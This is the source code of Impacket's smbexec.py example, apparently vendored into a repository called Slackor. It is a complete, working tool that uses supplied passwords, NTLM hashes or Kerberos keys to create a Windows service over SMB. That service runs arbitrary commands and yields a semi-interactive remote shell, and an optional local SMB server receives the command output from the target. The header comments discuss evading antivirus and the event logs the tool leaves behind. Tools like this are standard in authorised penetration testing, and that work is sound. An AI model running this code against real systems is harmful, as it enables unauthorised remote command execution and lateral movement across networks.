github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/impacket/examples/smbexec.py (about)

     1  #!/usr/bin/env python
     2  # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
     3  #
     4  # This software is provided under under a slightly modified version
     5  # of the Apache Software License. See the accompanying LICENSE file
     6  # for more information.
     7  #
     8  # A similar approach to psexec w/o using RemComSvc. The technique is described here
     9  # https://www.optiv.com/blog/owning-computers-without-shell-access
    10  # Our implementation goes one step further, instantiating a local smbserver to receive the 
    11  # output of the commands. This is useful in the situation where the target machine does NOT
    12  # have a writeable share available.
    13  # Keep in mind that, although this technique might help avoiding AVs, there are a lot of 
    14  # event logs generated and you can't expect executing tasks that will last long since Windows 
    15  # will kill the process since it's not responding as a Windows service. 
    16  # Certainly not a stealthy way.
    17  #
    18  # This script works in two ways:
    19  # 1) share mode: you specify a share, and everything is done through that share.
    20  # 2) server mode: if for any reason there's no share available, this script will launch a local
    21  #    SMB server, so the output of the commands executed are sent back by the target machine
    22  #    into a locally shared folder. Keep in mind you would need root access to bind to port 445 
    23  #    in the local machine.
    24  # 
    25  # Author:
    26  #  beto (@agsolino)
    27  #
    28  # Reference for:
    29  #  DCE/RPC and SMB.
    30  from __future__ import division
    31  from __future__ import print_function
    32  import sys
    33  import os
    34  import cmd
    35  import argparse
    36  try:
    37      import ConfigParser
    38  except ImportError:
    39      import configparser as ConfigParser
    40  import logging
    41  from threading import Thread
    42  
    43  from impacket.examples import logger
    44  from impacket import version, smbserver
    45  from impacket.smbconnection import SMB_DIALECT
    46  from impacket.dcerpc.v5 import transport, scmr
    47  
    48  OUTPUT_FILENAME = '__output'
    49  BATCH_FILENAME  = 'execute.bat'
    50  SMBSERVER_DIR   = '__tmp'
    51  DUMMY_SHARE     = 'TMP'
    52  
    53  class SMBServer(Thread):
    54      def __init__(self):
    55          Thread.__init__(self)
    56          self.smb = None
    57  
    58      def cleanup_server(self):
    59          logging.info('Cleaning up..')
    60          try:
    61              os.unlink(SMBSERVER_DIR + '/smb.log')
    62          except OSError:
    63              pass
    64          os.rmdir(SMBSERVER_DIR)
    65  
    66      def run(self):
    67          # Here we write a mini config for the server
    68          smbConfig = ConfigParser.ConfigParser()
    69          smbConfig.add_section('global')
    70          smbConfig.set('global','server_name','server_name')
    71          smbConfig.set('global','server_os','UNIX')
    72          smbConfig.set('global','server_domain','WORKGROUP')
    73          smbConfig.set('global','log_file',SMBSERVER_DIR + '/smb.log')
    74          smbConfig.set('global','credentials_file','')
    75  
    76          # Let's add a dummy share
    77          smbConfig.add_section(DUMMY_SHARE)
    78          smbConfig.set(DUMMY_SHARE,'comment','')
    79          smbConfig.set(DUMMY_SHARE,'read only','no')
    80          smbConfig.set(DUMMY_SHARE,'share type','0')
    81          smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR)
    82  
    83          # IPC always needed
    84          smbConfig.add_section('IPC$')
    85          smbConfig.set('IPC$','comment','')
    86          smbConfig.set('IPC$','read only','yes')
    87          smbConfig.set('IPC$','share type','3')
    88          smbConfig.set('IPC$','path')
    89  
    90          self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
    91          logging.info('Creating tmp directory')
    92          try:
    93              os.mkdir(SMBSERVER_DIR)
    94          except Exception as e:
    95              logging.critical(str(e))
    96              pass
    97          logging.info('Setting up SMB Server')
    98          self.smb.processConfigFile()
    99          logging.info('Ready to listen...')
   100          try:
   101              self.smb.serve_forever()
   102          except:
   103              pass
   104  
   105      def stop(self):
   106          self.cleanup_server()
   107          self.smb.socket.close()
   108          self.smb.server_close()
   109          self._Thread__stop()
   110  
   111  class CMDEXEC:
   112      def __init__(self, username='', password='', domain='', hashes=None, aesKey=None,
   113                   doKerberos=None, kdcHost=None, mode=None, share=None, port=445):
   114  
   115          self.__username = username
   116          self.__password = password
   117          self.__port = port
   118          self.__serviceName = 'BTOBTO'
   119          self.__domain = domain
   120          self.__lmhash = ''
   121          self.__nthash = ''
   122          self.__aesKey = aesKey
   123          self.__doKerberos = doKerberos
   124          self.__kdcHost = kdcHost
   125          self.__share = share
   126          self.__mode  = mode
   127          self.shell = None
   128          if hashes is not None:
   129              self.__lmhash, self.__nthash = hashes.split(':')
   130  
   131      def run(self, remoteName, remoteHost):
   132          stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName
   133          logging.debug('StringBinding %s'%stringbinding)
   134          rpctransport = transport.DCERPCTransportFactory(stringbinding)
   135          rpctransport.set_dport(self.__port)
   136          rpctransport.setRemoteHost(remoteHost)
   137          if hasattr(rpctransport,'preferred_dialect'):
   138              rpctransport.preferred_dialect(SMB_DIALECT)
   139          if hasattr(rpctransport, 'set_credentials'):
   140              # This method exists only for selected protocol sequences.
   141              rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
   142                                           self.__nthash, self.__aesKey)
   143          rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
   144  
   145          self.shell = None
   146          try:
   147              if self.__mode == 'SERVER':
   148                  serverThread = SMBServer()
   149                  serverThread.daemon = True
   150                  serverThread.start()
   151              self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName)
   152              self.shell.cmdloop()
   153              if self.__mode == 'SERVER':
   154                  serverThread.stop()
   155          except  (Exception, KeyboardInterrupt) as e:
   156              if logging.getLogger().level == logging.DEBUG:
   157                  import traceback
   158                  traceback.print_exc()
   159              logging.critical(str(e))
   160              if self.shell is not None:
   161                  self.shell.finish()
   162              sys.stdout.flush()
   163              sys.exit(1)
   164  
   165  class RemoteShell(cmd.Cmd):
   166      def __init__(self, share, rpc, mode, serviceName):
   167          cmd.Cmd.__init__(self)
   168          self.__share = share
   169          self.__mode = mode
   170          self.__output = '\\\\127.0.0.1\\' + self.__share + '\\' + OUTPUT_FILENAME
   171          self.__batchFile = '%TEMP%\\' + BATCH_FILENAME 
   172          self.__outputBuffer = b''
   173          self.__command = ''
   174          self.__shell = '%COMSPEC% /Q /c '
   175          self.__serviceName = serviceName
   176          self.__rpc = rpc
   177          self.intro = '[!] Launching semi-interactive shell - Careful what you execute'
   178  
   179          self.__scmr = rpc.get_dce_rpc()
   180          try:
   181              self.__scmr.connect()
   182          except Exception as e:
   183              logging.critical(str(e))
   184              sys.exit(1)
   185  
   186          s = rpc.get_smb_connection()
   187  
   188          # We don't wanna deal with timeouts from now on.
   189          s.setTimeout(100000)
   190          if mode == 'SERVER':
   191              myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
   192              self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
   193  
   194          self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
   195          resp = scmr.hROpenSCManagerW(self.__scmr)
   196          self.__scHandle = resp['lpScHandle']
   197          self.transferClient = rpc.get_smb_connection()
   198          self.do_cd('')
   199  
   200      def finish(self):
   201          # Just in case the service is still created
   202          try:
   203             self.__scmr = self.__rpc.get_dce_rpc()
   204             self.__scmr.connect() 
   205             self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
   206             resp = scmr.hROpenSCManagerW(self.__scmr)
   207             self.__scHandle = resp['lpScHandle']
   208             resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
   209             service = resp['lpServiceHandle']
   210             scmr.hRDeleteService(self.__scmr, service)
   211             scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
   212             scmr.hRCloseServiceHandle(self.__scmr, service)
   213          except scmr.DCERPCException:
   214             pass
   215  
   216      def do_shell(self, s):
   217          os.system(s)
   218  
   219      def do_exit(self, s):
   220          return True
   221  
   222      def emptyline(self):
   223          return False
   224  
   225      def do_cd(self, s):
   226          # We just can't CD or maintain track of the target dir.
   227          if len(s) > 0:
   228              logging.error("You can't CD under SMBEXEC. Use full paths.")
   229  
   230          self.execute_remote('cd ' )
   231          if len(self.__outputBuffer) > 0:
   232              # Stripping CR/LF
   233              self.prompt = self.__outputBuffer.decode().replace('\r\n','') + '>'
   234              self.__outputBuffer = b''
   235  
   236      def do_CD(self, s):
   237          return self.do_cd(s)
   238  
   239      def default(self, line):
   240          if line != '':
   241              self.send_data(line)
   242  
   243      def get_output(self):
   244          def output_callback(data):
   245              self.__outputBuffer += data
   246  
   247          if self.__mode == 'SHARE':
   248              self.transferClient.getFile(self.__share, OUTPUT_FILENAME, output_callback)
   249              self.transferClient.deleteFile(self.__share, OUTPUT_FILENAME)
   250          else:
   251              fd = open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'r')
   252              output_callback(fd.read())
   253              fd.close()
   254              os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME)
   255  
   256      def execute_remote(self, data):
   257          command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + \
   258                    self.__shell + self.__batchFile
   259          if self.__mode == 'SERVER':
   260              command += ' & ' + self.__copyBack
   261          command += ' & ' + 'del ' + self.__batchFile 
   262  
   263          logging.debug('Executing %s' % command)
   264          resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName,
   265                                       lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START)
   266          service = resp['lpServiceHandle']
   267  
   268          try:
   269             scmr.hRStartServiceW(self.__scmr, service)
   270          except:
   271             pass
   272          scmr.hRDeleteService(self.__scmr, service)
   273          scmr.hRCloseServiceHandle(self.__scmr, service)
   274          self.get_output()
   275  
   276      def send_data(self, data):
   277          self.execute_remote(data)
   278          print(self.__outputBuffer.decode())
   279          self.__outputBuffer = b''
   280  
   281  
   282  # Process command-line arguments.
   283  if __name__ == '__main__':
   284      # Init the example's logger theme
   285      logger.init()
   286      print(version.BANNER)
   287  
   288      parser = argparse.ArgumentParser()
   289  
   290      parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
   291      parser.add_argument('-share', action='store', default = 'C$', help='share where the output will be grabbed from '
   292                                                                         '(default C$)')
   293      parser.add_argument('-mode', action='store', choices = {'SERVER','SHARE'}, default='SHARE',
   294                          help='mode to use (default SHARE, SERVER needs root!)')
   295      parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
   296  
   297      group = parser.add_argument_group('connection')
   298  
   299      group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. '
   300                         'If omitted it will use the domain part (FQDN) specified in the target parameter')
   301      group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If '
   302                         'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS '
   303                         'name and you cannot resolve it')
   304      group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
   305                         help='Destination port to connect to SMB Server')
   306  
   307      group = parser.add_argument_group('authentication')
   308  
   309      group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
   310      group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
   311      group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
   312                         '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
   313                         'ones specified in the command line')
   314      group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
   315                                                                              '(128 or 256 bits)')
   316  
   317   
   318      if len(sys.argv)==1:
   319          parser.print_help()
   320          sys.exit(1)
   321  
   322      options = parser.parse_args()
   323  
   324      if options.debug is True:
   325          logging.getLogger().setLevel(logging.DEBUG)
   326      else:
   327          logging.getLogger().setLevel(logging.INFO)
   328  
   329      import re
   330      domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('')
   331  
   332      #In case the password contains '@'
   333      if '@' in remoteName:
   334          password = password + '@' + remoteName.rpartition('@')[0]
   335          remoteName = remoteName.rpartition('@')[2]
   336  
   337      if domain is None:
   338          domain = ''
   339  
   340      if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
   341          from getpass import getpass
   342          password = getpass("Password:")
   343  
   344      if options.target_ip is None:
   345          options.target_ip = remoteName
   346  
   347      if options.aesKey is not None:
   348          options.k = True
   349  
   350      try:
   351          executer = CMDEXEC(username, password, domain, options.hashes, options.aesKey, options.k,
   352                             options.dc_ip, options.mode, options.share, int(options.port))
   353          executer.run(remoteName, options.target_ip)
   354      except Exception as e:
   355          if logging.getLogger().level == logging.DEBUG:
   356              import traceback
   357              traceback.print_exc()
   358          logging.critical(str(e))
   359      sys.exit(0)